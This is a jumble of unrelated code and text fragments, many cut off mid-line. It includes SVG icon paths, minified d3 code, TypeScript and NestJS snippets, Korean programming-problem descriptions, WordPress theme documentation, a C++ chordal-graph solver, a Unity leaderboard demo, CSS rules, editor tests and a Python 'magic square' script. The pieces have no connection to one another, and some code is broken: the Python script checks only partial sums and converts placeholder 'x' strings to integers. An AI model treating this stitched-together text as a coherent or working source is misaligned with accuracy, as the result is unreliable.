C14.3 17.7 14.3 17.6 14.3 17.5L15.3 15.8C15.4 15.7 15.5 15.7 15.6 15.7L16.8 16.2C17.1 16 17.3 15.9 17.6 15.7L17.8 14.4C17.8 14.3 17.9 14.2 18.1 14.2H20.1C20.2 14.2 20.3 14.3 20.3 14.4L20.5 15.7C20.8 15.8 21.1 16 21.4 16.2L22.6 15.7C22.7 15.7 22.9 15.7 22.9 15.8L23.9 17.5C24 17.6 23.9 17.7 23.8 17.8L22.7 18.6V19.6L23.8 20.4M20.5 19C20.5 18.2 19.8 17.5 19 17.5S17.5 18.2 17.5 19 18.2 20.5 19 20.5 20.5 19.8 20.5 19Z",mdiStoreEdit:"M20 6H4V4H20V6M14 16.13L11 19.13V20H4V14H3V12L4 7H20L20.61 10.07C20.16 10.17 19.73 10.4 19.39 10.74L16.13 14H14V16.13M12 14H6V18H12V14M22.85 13.47L21.53 12.15C21.33 11.95 21 11.95 20.81 12.15L19.83 13.13L21.87 15.17L22.85 14.19C23.05 14 23.05 13.67 22.85 13.47M13 19.96V22H15.04L21.17 15.88L19.13 13.83L13 19.96Z",mdiStoreEditOutline:"M20 6H4V4H20V6M14 16.13L11 19.13V20H4V14H3V12L4 7H20L20.61 10.07C20.16 10.17 19.73 10.4 19.39 10.74L18.82 11.31L18.36 9H5.64L5.04 12H18.13L16.13 14H14V16.13M12 14H6V18H12V14M22.85 13.47L21.53 12.15C21.33 11.95 21 11.95 20.81 12.15L19.83 13.13L21.87 15.17L22.85 14.19C23.05 14 23.05 13.67 22.85 13.47M13 19.96V22H15.04L21.17 15.88L19.13 13.83L13 19.96Z",mdiStoreMarker:"M20 6H4V4H20V6M13 15.5C13 16.64 13.43 17.86 14 19V20H4V14H3V12L4 7H20L20.7 10.5C20 10.18 19.28 10 18.5 10C15.5 10 13 12.5 13 15.5M12 14H6V18H12V14M22 15.5C22 18.1 18.5 22 18.5 22S15 18.1 15 15.5C15 13.6 16.6 12 18.5 12S22 13.6 22 15.5M19.7 15.6C19.7 15 19.1 14.4 18.5 14.4S17.3 14.9 17.3 15.6C17.3 16.2 17.8 16.8 18.5 16.8S19.8 16.2 19.7 15.6Z",mdiStoreMarkerOutline:"M20 6H4V4H20V6M14.3 12C13.5 12.96 13 14.18 13 15.5C13 16.64 13.43 17.86 14 19V20H4V14H3V12L4 7H20L20.7 10.5C20.04 10.18 19.32 10 18.56 10L18.36 9H5.64L5.04 12H14


,x1,y1,x2,y2){if(!f(node,x1,y1,x2,y2)){var sx=(x1+x2)*.5,sy=(y1+y2)*.5,children=node.nodes;if(children[0])d3_geom_quadtreeVisit(f,children[0],x1,y1,sx,sy);if(children[1])d3_geom_quadtreeVisit(f,children[1],sx,y1,x2,sy);if(children[2])d3_geom_quadtreeVisit(f,children[2],x1,sy,sx,y2);if(children[3])d3_geom_quadtreeVisit(f,children[3],sx,sy,x2,y2)}}function d3_geom_quadtreeFind(root,x,y,x0,y0,x3,y3){var minDistance2=Infinity,closestPoint;(function find(node,x1,y1,x2,y2){if(x1>x3||y1>y3||x2<x0||y2<y0)return;if(point=node.point){var point,dx=x-node.x,dy=y-node.y,distance2=dx*dx+dy*dy;if(distance2<minDistance2){var distance=Math.sqrt(minDistance2=distance2);x0=x-distance,y0=y-distance;x3=x+distance,y3=y+distance;closestPoint=point}}var children=node.nodes,xm=(x1+x2)*.5,ym=(y1+y2)*.5,right=x>=xm,below=y>=ym;for(var i=below<<1|right,j=i+4;i<j;++i){if(node=children[i&3])switch(i&3){case 0:find(node,x1,y1,xm,ym);break;case 1:find(node,xm,y1,x2,ym);break;case 2:find(node,x1,ym,xm,y2);break;case 3:find(node,xm,ym,x2,y2);break}}})(root,x0,y0,x3,y3);return closestPoint}d3.interpolateRgb=d3_interpolateRgb;function d3_interpolateRgb(a,b){a=d3.rgb(a);b=d3.rgb(b);var ar=a.r,ag=a.g,ab=a.b,br=b.r-ar,bg=b.g-ag,bb=b.b-ab;return function(t){return"#"+d3_rgb_hex(Math.round(ar+br*t))+d3_rgb_hex(Math.round(ag+bg*t))+d3_rgb_hex(Math.round(ab+bb*t))}}d3.interpolateObject=d3_interpolateObject;function d3_interpolateObject(a,b){var i={},c={},k;for(k in a){if(k in b){i[k]=d3_interpolate(a[k],b[k])}else{c[k]=a[k]}}for(k in b){if(!(k in a)){c[k]=b[k]}}return function(t){for(k in i)c[k]=i[k](t);return c}}d3.interpolateNumber=d3_interpolateNumber;function d3_interpolateNumber(a,b){a=+a,b=+b;return function(t){return a*(1-t)+b*t}}d3.interpolateString=d3_interpolateString;function d3_interpolateString(a,b){var bi=d3_interpolate_numberA.lastIndex=d3_interpolate_numberB.lastIndex=0,am,bm,bs,i=-1,s=[],q=[];a=a+"",b=b+"";while


  manyToMany: <
      TModelA extends Model<any, any, any>,
      TModelB extends Model<any, any, any> | AbstractModel<any, any>,
      TView extends View,
      TFields extends string
    >(
      relationship: ManyToManyRelationship<TModelA, TModelB, TView, TFields>
    ) => RelationshipConfig;
    oneToMany: <
      TModelA extends Model<any, any, any>,
      TModelB extends Model<any, any, any> | AbstractModel<any, any>
    >(
      relationship: OneToManyRelationship<TModelA, TModelB>
    ) => RelationshipConfig;
    oneToOne: <
      TModelA extends Model<any, any, any>,
      TModelB extends Model<any, any, any> | AbstractModel<any, any>
    >(
      relationship: OneToOneRelationship<TModelA, TModelB>
    ) => RelationshipConfig;
  }) => RelationshipConfig[]
): RelationshipConfig[] => {
  return factory({
    manyToMany: (relationship: ManyToManyRelationship<any, any, any, any>) => {
      return { ...relationship, type: "MANY_TO_MANY" };
    },
    oneToMany: (relationship: OneToManyRelationship<any, any>) => {
      return { ...relationship, type: "ONE_TO_MANY" };
    },
    oneToOne: (relationship: OneToOneRelationship<any, any>) => {
      return { ...relationship, type: "ONE_TO_ONE" };
    },
  });
};
import { GenericButtonProps } from "../../components/buttons/genericButton/genericButton";

export type GuardedActions<TStore> = Array<GuardRule<TStore, Array<GenericButtonProps>>>;

export interface GuardRule<TStore, TData> {
    guard?: (store: TStore) => boolean;
    data: (store: TStore) => TData;
}

export class GuardsApplier {
    public static applyGuardedArrays<TStore, TData>(store: TStore, rules: Array<GuardRule<TStore, Array<TData>>>) {
        return rules.filter(e => (e.guard ? e.guard(store) : true)).flatMap(e => e.data(store));
    }
}
import { Cat } from './interfaces/cats.interface';
import { CreateCatsDTO } from './dto/createCats.dto';
import { Injectable } from '@nestjs/common';

@Injectable()
export class CatsService {

    cats: Cat[] = [
        {
            id: 0,
            name: 'cat1',
            age: 1,
            breed: 'siamese'
        },
        {
            id: 1,
            name: 'cat2',
            age: 4,
            breed: 'common'
        },
        {
            id: 2,
            name: 'cat2',
            age: 2,
            breed: 'egipt'
        }
    ]

    findAll(): Cat[] {
        return this.cats;
    }

    create(createCatsDTO: CreateCatsDTO) {
        let cat = {
            id: this.cats.length,
            name: createCatsDTO.name,
            age: createCatsDTO.age,
            breed: createCatsDTO.breed
        };
        this.cats.push(cat);
        return 'The cat was created succefully';
    }
}/**
 * 可选参数和默认参数
 * typescript中的每个参数是必选的，会检查用户是否为每个伧俗传了值
 * 默认参数：name=defaultvalue
 * 可选参数： name?:type
 */
/* function buildName(firstName:string,secondName:string):string{
  return firstName + ''+secondName
}
buildName('bob')//报错，参数太少
buildName('bob','Adams','Sr') //报错


: parseInt(entryRaw[0]),
                name: entryRaw[1],
                translit: entryRaw[2],
                pronunciation: entryRaw[3],
                strongDefinition: entryRaw[4],
                kjvDefinition: entryRaw[5],
                strongDerivation: entryRaw[6],
                references: entryRaw[7],
            };
        }
    }
}import * as path from 'path';
import { Invocation } from '../types/invocation';
import { InvokePackage } from '../types/invoke-package';
import { EntryPoint } from '../types/entry-point';
import { InvocationParams } from '../types/invocation-params';
import { TargetEntryPoint } from '../types/target-entry-point';

export function entryPointToInvokationParam(pn: string, ep: EntryPoint): InvocationParams {
  let mod: any;
  try {
    try {
      mod = require(ep.moduleName);
    } catch (e) {
      mod = require(path.join(pn, ep.moduleName));
    }
    const factory: () => InvocationParams = mod[ep.entryPoint];
    if (typeof(factory) != 'function') {
      throw new Error(`can not find endpoint:${ep.entryPoint} in module`);
    }
    return factory();
  } catch (e) {
    console.error(`Invocation not possible for ${pn}${JSON.stringify(ep)}`);
    return null;
  }

}

export function invokePackage(ips: EntryPoint[], basePath: string,
  packageName: string, entryPoints: TargetEntryPoint[]): InvokePackage {
  // console.log(`invoke ${packageName} for ${JSON.stringify(entryPoints.map((ep) => ep.appName))}`);
  const invocation = new Invocation(ips.map(ep => entryPointToInvokationParam(packageName, ep)), packageName);
  entryPoints.forEach((ep) => invocation.add(ep));
  const invokeJsFname = path.join(basePath, `.invoke.${packageName}.js`);
  const localJs = invocation.build(invocation.jsLocalRequires);
  const globalJs = invocation.build(invocation.jsGlobalRequires);
  return { name: invokeJsFname, invocation, localJs, globalJs };
}
interface IFilesystem {
    exists(path: string): Promise<boolean>;
    read(path: string): Promise<ReadableStream>;
    write(path: string, content: string): Promise<boolean>;
    delete(path: string): Promise<boolean>;
}

export class NetworkFilesystem implements IFilesystem {
    private root: string;

    constructor(root = "http://localhost") {
        this.root = root;
    }

    public async delete(path: string): Promise<boolean> {
        throw new Error("delete not implemented on network filesystem");
    }

    public async exists(path: string): Promise<boolean> {
        return new Promise((res, rej) => {
            fetch(this.root + "/" + path)
                .then(response => {
                    res(response.ok);
                });
        })
    }

    public async read(path: string): Promise<ReadableStream> {
        return new Promise((res, rej) => {
            fetch(this.root + "/" + path)
                .then(data => {
                    if (!data.ok) {
                        rej("Failed to read file");
                    }
                    res(data.body);
                });
        })
    }

    public async readText(path: string): Promise<string> {
        return new Promise((res, rej) => {
            fetch(this.root + "/" + path)
                .then((response) => {
                    response.text().then((text) => res(text));
                })
        })
    }

    public async write(path: string, content: string): Promise<boolean> {


...)
				end,
			})
			else maybeMethod
	end)
	-- ROBLOX deviation END
	return setmetatable({
		withGlobal = function(g: Global)
			return function(table_: Global_EachTable, ...)
				return install(g, maybeHandleTemplateString(table_), ...)
			end
		end,
	}, {
		__call = function(_self, table_: Global_EachTable, ...): ReturnType<typeof(install)>
			-- ROBLOX deviation: jestMethods, are passed as parameters, not taken from global
			return install(jestMethods :: Global, maybeHandleTemplateString(table_), ...)
		end,
	})
end

exports.bind = bind

exports.default = each

exports.NIL = NIL

return exports


o)
        }, he = function (e, t) {
            var n = 2 < arguments.length && void 0 !== arguments[2] ? arguments[2] : "flex";
            t ? k(e, n) : B(e)
        }, P = e => !(!e || !(e.offsetWidth || e.offsetHeight || e.getClientRects().length)),
        fe = () => !P(h()) && !P(f()) && !P(b()), be = e => !!(e.scrollHeight > e.clientHeight), ye = e => {
            const t = window.getComputedStyle(e);
            var e = parseFloat(t.getPropertyValue("animation-duration") || "0"),
                n = parseFloat(t.getPropertyValue("transition-duration") || "0");
            return 0 < e || 0 < n
        }, ve = () => "undefined" == typeof window || "undefined" == typeof document, we = 100, x = {}, Ce = () => {
            x.previousActiveElement instanceof HTMLElement ? (x.previousActiveElement.focus(), x.previousActiveElement = null) : document.body && document.body.focus()
        }, Ae = o => new Promise(e => {
            if (!o) return e();
            var t = window.scrollX, n = window.scrollY;
            x.restoreFocusTimeout = setTimeout(() => {
                Ce(), e()
            }, we), window.scrollTo(t, n)
        }),
        ke = '\n
\n   <button type="button" class="').concat(p.close, '"></button>\n

\n

\n   \n

\n

\n   <input class="').concat(p.input, '" />\n   <input type="file" class="').concat(p.file, '" />\n
\n     <input type="range" />\n     <output></output>\n
\n   <select class="').concat(p.select, '"></select>\n

\n   \n     <input type="checkbox" />\n     \n   \n   <textarea class="').concat(p.textarea, '"></textarea>\n

\n
\n

\n     <button type="button" class="').concat(p.confirm, '"></button>\n     <button type="button" class="').concat(p.deny, '"></button>\n     <button type="button" class="').concat(p.cancel, '"></button>\n
\n

\n
\n

\n
\n
\n').replace(/(^|\n)\s*/g, ""),
        Be = () => {
            const e = m();
            return !!e && (e.remove(), C([document.documentElement, document


의 비행기를 타고 모든 국가들을 여행할 수 있도록 도와주자.

상근이가 한 국가에서 다른 국가로 이동할 때 다른 국가를 거쳐 가도(심지어 이미 방문한 국가라도) 된다.

### 입력

첫 번째 줄에는 테스트 케이스의 수 T(T ≤ 100)가 주어지고,

각 테스트 케이스마다 다음과 같은 정보가 주어진다.

첫 번째 줄에는 국가의 수 N(2 ≤ N ≤ 1 000)과 비행기의 종류 M(1 ≤ M ≤ 10 000) 가 주어진다.

이후 M개의 줄에 a와 b 쌍들이 입력된다. a와 b를 왕복하는 비행기가 있다는 것을 의미한다. (1 ≤ a, b ≤ n; a ≠ b)

주어지는 비행 스케줄은 항상 연결 그래프를 이룬다.

### 출력

테스트 케이스마다 한 줄을 출력한다.

상근이가 모든 국가를 여행하기 위해 타야 하는 비행기 종류의 최소 개수를 출력한다.

# [Silver I] 1로 만들기 2 - 12852

[문제 링크](https://www.acmicpc.net/problem/12852)

### 성능 요약

메모리: 2028 KB, 시간: 0 ms

### 분류

다이나믹 프로그래밍, 그래프 이론, 그래프 탐색

### 제출 일자

2024년 1월 2일 13:17:43

### 문제 설명

정수 X에 사용할 수 있는 연산은 다음과 같이 세 가지 이다.

X가 3으로 나누어 떨어지면, 3으로 나눈다.

X가 2로 나누어 떨어지면, 2로 나눈다.

1을 뺀다.

정수 N이 주어졌을 때, 위와 같은 연산 세 개를


 palette:

![Image of various duotone options built into the Twenty Twenty-Two theme.](https://lh6.googleusercontent.com/1f-AG0cwxVYsmLmG0dNn4oaTS-leY-bnw61WSlXVMv0KIVx5XuIwqXkn_1_0KVqkgWDDTeWbL2i7x7VqwGOBDdV6-nXZU_ci-epHtg2sQHd2TJx-yDL2P7VtXFkLvXKJV25d0CeX)Black

White

Dark Green

Beige

Light Grey

## Support and Resources

Get community help with Twenty Twenty-Two in its [support forum](#support/theme/twentytwentytwo).

Learn how to take full advantage of full site editing with the [Simple Site Design with Full Site Editing Learn WordPress course](https://learn.wordpress.org/course/simple-site-design-with-full-site-editing/).

Read more about the Twenty Twenty-Two theme [in the introduction post](https://make.wordpress.org/core/2021/10/06/introducing-twenty-twenty-two/).

[Twenty Twenty-Two changelog](#documentation/article/twenty-twenty-two-changelog).

---

# Twenty Twenty-Three <a name="documentation/article/twenty-twenty-three" />

Source: https://wordpress.org/documentation/article/twenty-twenty-three/

[Twenty Twenty-Three](#themes/twentytwentythree) is the new, accessibility-ready, default theme for [WordPress Version 6.1](#documentation/wordpress-version/version-6-1).

![Collage of Twenty Twenty-Three screenshots](https://wordpress.org/documentation/files/2022/10/tt3-collage-1024x556.png)A minimalist block theme designed to take full advantage of full site editing capabilities, Twenty Twenty-Three includes a collection of [ten community-submitted style variations](https://make.wordpress.org/design/2022/09/07/tt3-default-theme-announcing-style-variation-selections/). Explore the Styles panel and change the look-and-feel of your site in an instant – bold and bright, or soft and subtle, the choice is yours.

## Quick specs

- Requires at least WordPress 6.1.
- Requires at least PHP version 5.6.

## Full site editing support

Twenty Twenty-Three is designed to support full site editing’s powerful features, including:

- [Site Editor](#documentation/article/site-editor): an editor that allows you to edit all parts of your site, navigate between templates, and more.
- [Styles](#documentation/article/styles-overview): a feature that allows you to customize your site, including individual blocks, as much as you’d like with different colors, typography, layouts, and more.
- [Templates](#documentation/article/template-editor): edit, create, and manage templates used by pages, posts, and other content.
- [Template parts](#documentation/article/template-part-block): a way to organize and display groups of blocks as part of a block template mainly for site structure, like Headers and Footers.
- Theme blocks including the [Navigation block](#documentation/article/navigation-block),[ Query Loop block](#documentation/article/query-loop-block), and more.

Like its predecessor Twenty Twenty-Two, this theme is designed to use WordPress site-editing features *instead of* the Customizer, which will be hidden by default. The Customizer may be automatically reactivated if you have plugins that require it.

## Templates

Twenty Twenty-Three includes several custom templates for you to use:

- **Blank:** this displays post content without any additional blocks.
- **Blog (Alternative):** provides a different way of displaying blog posts, in a list format with the date on the left and the post title on the right.

## Block patterns

Explore patterns to save time while crafting creative layouts. Patterns are collections of predesigned blocks whose text and media content can be quickly swapped out wit


; new A().func()", 3);
    test("class A { def func() { def g(x){x}; def f(x){def a = g; x == 1 ? 1 : x+a(x-1)}; f(2)}}; new A().func()", 3);
    test("class A { def func() { def g(x){x}; def f(x,a=g){x == 1 ? 1 : x+a(x-1)}; f(2)}}; new A().func()", 3);
    testError("class A { def func() { def g(x){f(x)}; var h=g; def f(x,a=h){x == 1 ? 1 : x+a(x-1)}; f(2)}}; new A().func()", "closes over variable h");
    testError("class A { def func() { def f() { def a = g; a() }; def g(){4}; f()}}; new A().func()", "closes over variable g that has not yet been initialised");
    testError("class A { def func() { def f() { def a = g; def b=y; a()+b() }; def y(){2}; def g(){4}; f()}}; new A().func()", "closes over variables g,y that have not yet been initialised");
    test("class A { def func() { def x = 'x'; def f() { x += 'abc' }; f(); x}}; new A().func()", "xabc");
    test("class A { def func() { def x = 'x'; def f() { x = x + 'abc' }; f(); x}}; new A().func()", "xabc");
    test("class A { def func() { def x = 'x'; def f() { x *= 3 }; f(); x}}; new A().func()", "xxx");
    test("class A { def func() { def x = 'x'; def f() { x = x * 3 }; f(); x}}; new A().func()", "xxx");
    test("class A { def func() { def x = /x/; def f() { x += 'abc' }; f(); x}}; new A().func()", "xabc");
    test("class A { def func() { def x = /x/; def f() { x = x + 'abc' }; f(); x}}; new A().func()", "xabc");
    test("class A { def func() { def x = /x/; def f() { x *= 3 }; f(); x}}; new A().func()", "xxx");
    test("class A { def func() { def x = /x/; def f() { x = x * 3 }; f(); x}}; new A().func()", "xxx");
    test("class A { def func() { def it = 'x'; def x = /x/; def f() { x += 'abc' }; f(); x}}; new A().func()", "xabc");
    test("class A { def func() { def it = 'x'; def x = /x/; def f() { x = x + 'abc' }; f(); x}}; new A().func()", "xabc");
    test("class A { def func() { def it = 'x'; def x = /x/; def f() { x *= 3 }; f(); x}}; new A().func()", "xxx");
    test("class A { def func() { def it = 'x'; def x = /x/; def f() { x = x * 3 }; f(); x}}; new A().func()", "xxx");
  }

  @Test public void nestedStaticFunctions() {
    useAsyncDecorator = false;

    test("class A { static def a() { int x = 1; byte f(){ x++ }; return f } }; def f = A.a(); f() + f() + f()", (byte)6);
    test("class A { static def a() { int x = 1; return { x++ } } }; def f = A.a(); f() + f() + f()", 6);
    test("class A { static def a() { int x = 1; def f() { def g() { x++ };


/**
 * Description: Chordal Graph Recognition
 * Source:
   * https://www.cs.cmu.edu/~janh/courses/411/18/lec/03-chordal-mcs.pdf
   * https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-438-algorithms-for-inference-fall-2014/lecture-notes/MIT6_438F14_Lec14.pdf
 * Verification: https://old.yosupo.jp/problem/chordal_graph_recognition
 */

int N,M;
set<int> adj[MX];
int cnt[MX];
vi ord, rord;

vi find_path(int x, int y, int z) {
	vi pre(N,-1);
	queue<int> q; q.push(x);
	while (sz(q)) {
		int t = q.ft; q.pop();
		if (adj[t].count(y)) {
			pre[y] = t; vi path = {y};
			while (path.bk != x) path.pb(pre[path.bk]);
			path.pb(z);
			return path;
		}
		trav(u,adj[t]) if (u != z && !adj[u].count(z) && pre[u] == -1) {
			pre[u] = t;
			q.push(u);
		}
	}
	assert(0);
}

int main() {
	setIO(); re(N,M);
	F0R(i,M) {
		int a,b; re(a,b);
		adj[a].insert(b), adj[b].insert(a);
	}
	rord = vi(N,-1);
	priority_queue<pi> pq;
	F0R(i,N) pq.push({0,i});
	while (sz(pq)) {
		pi p = pq.top(); pq.pop();
		if (rord[p.s] != -1) continue;
		rord[p.s] = sz(ord); ord.pb(p.s);
		trav(t,adj[p.s]) pq.push({++cnt[t],t});
	}
	assert(sz(ord) == N);
	trav(z,ord) {
		pi big = {-1,-1};
		trav(y,adj[z]) if (rord[y] < rord[z])
			ckmax(big,mp(rord[y],y));
		if (big.f == -1) continue;
		int y = big.s;
		trav(x,adj[z]) if (rord[x] < rord[y]) if (!adj[y].count(x)) {
			ps("NO");
			vi v = find_path(x,y,z);
			ps(sz(v));
			trav(t,v) pr(t,' ');
			exit(0);
		}
	}
	ps("YES");
	reverse(all(ord));
	trav(z,ord) pr(z,' ');
}


// -----------------------------------------------
// Documentation: http://www.reign-studios.net/docs/unity-plugin/
// -----------------------------------------------

using UnityEngine;
using UnityEngine.UI;
using Reign;

public class ScoresDemo : MonoBehaviour
{
	private static bool created;

	public bool UseUnityUI = true;
	public GameObject ReignScores_ModernRenderer, ReignScores_ClassicRenderer;
	public Button BackButton, LogoutButton, ReportScoreButton, ReportAchievementButton, ShowLeaderboardsButton, ShowAchievementsButton;
	public Text StatusText;

	private bool disableUI;
	GUIStyle uiStyle;

	// ======================================================
	// NOTE about users confused over Reign-Scores
	// Reign-Scores is an API target option, just as GooglePlay version GamceCircle is.
	// Reign-Scores is NOT required to use native services like GooglePlay, GameCenter ect.
	// Its a self-hosted option you can put on any ASP.NET server you own for platforms like WP8, BB10 ect.
	// ======================================================
	void Start()
	{
		// bind button events
		BackButton.Select();
		LogoutButton.onClick.AddListener(LogoutButton_Clicked);
		BackButton.onClick.AddListener(BackButton_Clicked);
		ReportScoreButton.onClick.AddListener(ReportScoreButton_Clicked);
		ReportAchievementButton.onClick.AddListener(ReportAchievementButton_Clicked);
		ShowLeaderboardsButton.onClick.AddListener(ShowLeaderboardsButton_Clicked);
		ShowAchievementsButton.onClick.AddListener(ShowAchievementsButton_Clicked);

		// make sure we don't init the same Score data twice
		if (created) return;
		created = true;

		// classic GUI stuff
		if (!UseUnityUI)
		{
			uiStyle = new GUIStyle()
			{
				alignment = TextAnchor.MiddleCenter,
				fontSize = 32,
				normal = new GUIStyleState() {textColor = Color.white},
			};
		}

		// Leaderboards ---------------------------
		var leaderboard = new LeaderboardDesc();
		var reignScores_LeaderboardID = new System.Guid("f55e3800-eacd-4728-ae4f-31b00aaa63bf");
		leaderboard.SortOrder = LeaderboardSortOrders.Ascending;
		leaderboard.ScoreFormat = LeaderbaordScoreFormats.Numerical;
		leaderboard.ScoreFormat_DecimalPlaces = 0;
		#if UNITY_IOS
		leaderboard.ScoreTimeFormat = LeaderboardScoreTimeFormats.Centiseconds;
		#else
		leaderboard.ScoreTimeFormat = LeaderboardScoreTimeFormats.Milliseconds;
		#endif

		// Global
		leaderboard.ID = "Level1";// Any unique ID value you want
		leaderboard.Desc = "Level1 Desc...";// Any desc you want

		// Editor
		leaderboard.Editor_ReignScores_ID = reignScores_LeaderboardID;// Any unique value

		// WinRT
		leaderboard.WinRT_ReignScores_ID = reignScores_LeaderboardID;// Any unique value

		// WP8
		leaderboard.WP8_ReignScores_ID = reignScores_LeaderboardID;// Any unique value

		// BB10
		leaderboard.BB10_ReignScores_ID = reignScores_LeaderboardID;// Any unique value

		// iOS
		leaderboard.iOS_ReignScores_ID = reignScores_LeaderboardID;// Any unique value
		leaderboard.iOS_GameCenter_ID = "";// Set to your GameCenter leaderboard ID

		// Android
		leaderboard.Android_ReignScores_ID = reignScores_LeaderboardID;// Any unique value
		leaderboard.Android_GooglePlay_ID = "";// Set to your GooglePlay leaderboa


    grid-column: 8 / 11;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d570915-3ce22f7d {
    grid-column-end: 9;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d570916-3ce22f7d {
    grid-column-start: 2;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d570917-3ce22f7d {
    grid-column-end: 13;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d570922-3ce22f7d {
    grid-column-start: 1;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d570923-3ce22f7d {
    grid-column-end: 11;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d570924-3ce22f7d {
    grid-column-start: 5;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d570925-3ce22f7d {
    grid-column-end: 6;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d570926-3ce22f7d {
    grid-column-end: 12;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d57092d-3ce22f7d {
    grid-column: 2 / 4;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d57092e-3ce22f7d {
    grid-column: 2 / 8;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d57092f-3ce22f7d {
    grid-column-start: 5;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d570930-3ce22f7d {
    grid-column-end: 7;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d57094c-3ce22f7d, #w-node-_90ff5428-59ea-fda4-af25-98d07d57094d-3ce22f7d {
    grid-row: 1 / 5;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d57098f-3ce22f7d {
    order: -9999;
    grid-area: span 1 / span 2 / span 1 / span 2;
  }

  #w-node-_90ff5428-59ea-fda4-af25-98d07d570992-3ce22f7d {
    order: 9999;
    grid-area: span 1 / span 2 / span 1 / span 2;
  }

  #w-node-f9d7020e-9794-709c-dc5d-75f54d8075c9-67407b01.w-node-_6a4ce425-3963-3530-27e4-242b38d6f148-3ce22f9c, #w-node-_63aea21b-2f8e-997d-88e2-174767407b07-67407b01.w-node-_6a4ce425-3963-3530-27e4-242b38d6f170-3ce22f9c {
    grid-column: span 1 / s


请求已取消');
    error.message = ErrorMessages.CancelToken;
    error.status = ErrorStatus.CancelToken;
  }

  if (config?.showErrorMessage) {
    ElMessage.closeAll();
    ElMessage({
      message: `${error.status}: ${error.message}`,
      type: error.type || 'error',
      duration: error.timeout,
    });
  }

  return error;
}
/**
 * @description justify menu
 * @author liuwei
 */

import Editor from '../../../src/editor'
import createEditor from '../../helpers/create-editor'
import justify from '../../../src/menus/justify/index'
import $ from '../../../src/utils/dom-core'
import { DomElement } from '../../../src/utils/dom-core'
import { getMenuInstance } from '../../helpers/menus'

let editor: Editor
let justifyMenu: justify

describe('Justify Menu', () => {
    test('justify 菜单：dropList', () => {
        editor = createEditor(document, 'div1') // 赋值给全局变量
        justifyMenu = getMenuInstance(editor, justify) as justify // 赋值给全局变量
        expect(justifyMenu.dropList).not.toBeNull()
        justifyMenu.dropList.show()
        expect(justifyMenu.dropList.isShow).toBe(true)
        justifyMenu.dropList.hide()
        expect(justifyMenu.dropList.isShow).toBe(false)
    })

    test('justify 菜单：设置对齐方式', () => {
        const justifyClasses = ['left', 'right', 'center', 'justify']

        const mockGetSelectionRangeTopNodes = (tagString: string) => {
            const domArr = [$(tagString)]
            jest.spyOn(editor.selection, 'getSelectionRangeTopNodes').mockImplementation(
                () => domArr
            )
            return domArr
        }

        const $elems = mockGetSelectionRangeTopNodes('
123
')
        for (let value of justifyClasses) {
            justifyMenu.command(value)
            $elems.forEach((el: DomElement) => {
                expect(el.elems[0].getAttribute('style')).toContain(`text-align:${value}`)
            })
        }
    })

    test('justify 菜单：设置对齐方式，如果当前选区是 list，则只修改当前选区的元素对其样式', () => {
        const justifyClasses = ['left', 'right', 'center', 'justify']

        const mockGetSelectionRangeTopNodes = (tagString: string) => {
            const domArr = [$(tagString)]
            jest.spyOn(editor.selection, 'getSelectionRangeTopNodes').mockImplementation(
                () => domArr
            )
            return domArr
        }

        const mockGetSelectionRangeContainer = (tagString: string) => {
            const dom = $(tagString)
            jest.spyOn(editor.selection, 'getSelectionContainerElem').mockImplementation(() => dom)
            return dom
        }

        const topElems = mockGetSelectionRangeTopNodes('

123

')
        const containerElems = mockGetSelectionRangeContainer('
123
')

        for (let value of justifyClasses) {
            justifyMenu.command(value)
            topElems.forEach((el: DomElement) => {
                expect(el.elems[0]).not.toHaveStyle(`text-align:${value}`)
            })
            expect(containerElems.elems[0]).toHaveStyle(`text-align:${value}`)
        }
    })

    test('justify 菜单：设置对齐方式，如果当前选区是 blockquote，�


import itertools

def is_magic_square(grid):
    # Check if the sum of column 1 is 150
    if sum([int(grid[i][0]) for i in range(3)]) != 150:
        return False

    # Check if the sum of row 1 is 135
    if sum([int(grid[0][j]) for j in range(3)]) != 135:
        return False

    # Check if the sum of the diagonal from top right to bottom left is 119
    if int(grid[0][2]) + int(grid[1][1]) + int(grid[2][0]) != 119:
        return False

    return True

def find_min_sum(grid):
    min_sum = float('inf')
    min_permutation = None

    for permutation in itertools.permutations(range(26, 66), 6):
        temp_grid = [row.copy() for row in grid]
        temp_grid[2][1] = '32'

        for i, num in enumerate(permutation):
            temp_grid[i//3][i%3] = str(num)

        if is_magic_square(temp_grid):
            current_sum = sum([int(num) for row in temp_grid for num in row if num != 'x'])
            if current_sum < min_sum:
                min_sum = current_sum
                min_permutation = temp_grid

    return min_permutation

grid = [['x', 'x', 'x'],
        ['x', 'x', 'x'],
        ['x', '32', 'x']]

solution = find_min_sum(grid)

output = []
for i in range(3):
    for j in range(3):
        if solution[i][j] == 'x':
            output.append((i, j, int(grid[i][j])))

print(output)


     if (!obj.getChildAt(0)["_render"]._visible) {
//         obj.active = false;
//         Laya.Pool.recover(obj.name, iter);
//     }
//     else {
//         break;
//     }

//     iter = this._blocksLink.next(iter);
// }export const takeWhile = <T>(f: (i: T) => boolean | Promise<boolean>) =>
	async function* (iter: AsyncIterable<T>): AsyncIterable<T> {
		for await (const v of iter)
			if (await f(v)) yield v
			else break
	}

export default takeWhile
import { Component, OnInit, NgZone, ViewChild,ElementRef } from '@angular/core';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit {
  title = [1,2,3,4,5,6,7,8,9,10];
  show: boolean = false;
  nave: boolean = false;
  @ViewChild('h11') dll: ElementRef;
  @ViewChild('h12') dll2: ElementRef;
  showFoo = false;

  constructor(private zone: NgZone) {
        this.zone.onStable.subscribe(() => {
          debugger;
        this.dll;
        this.dll2;
    });
    // this.zone.onMicrotaskEmpty.subscribe
  }
  foo() {
    return new Promise((success, fail) => {
      try {
        this.show = true;
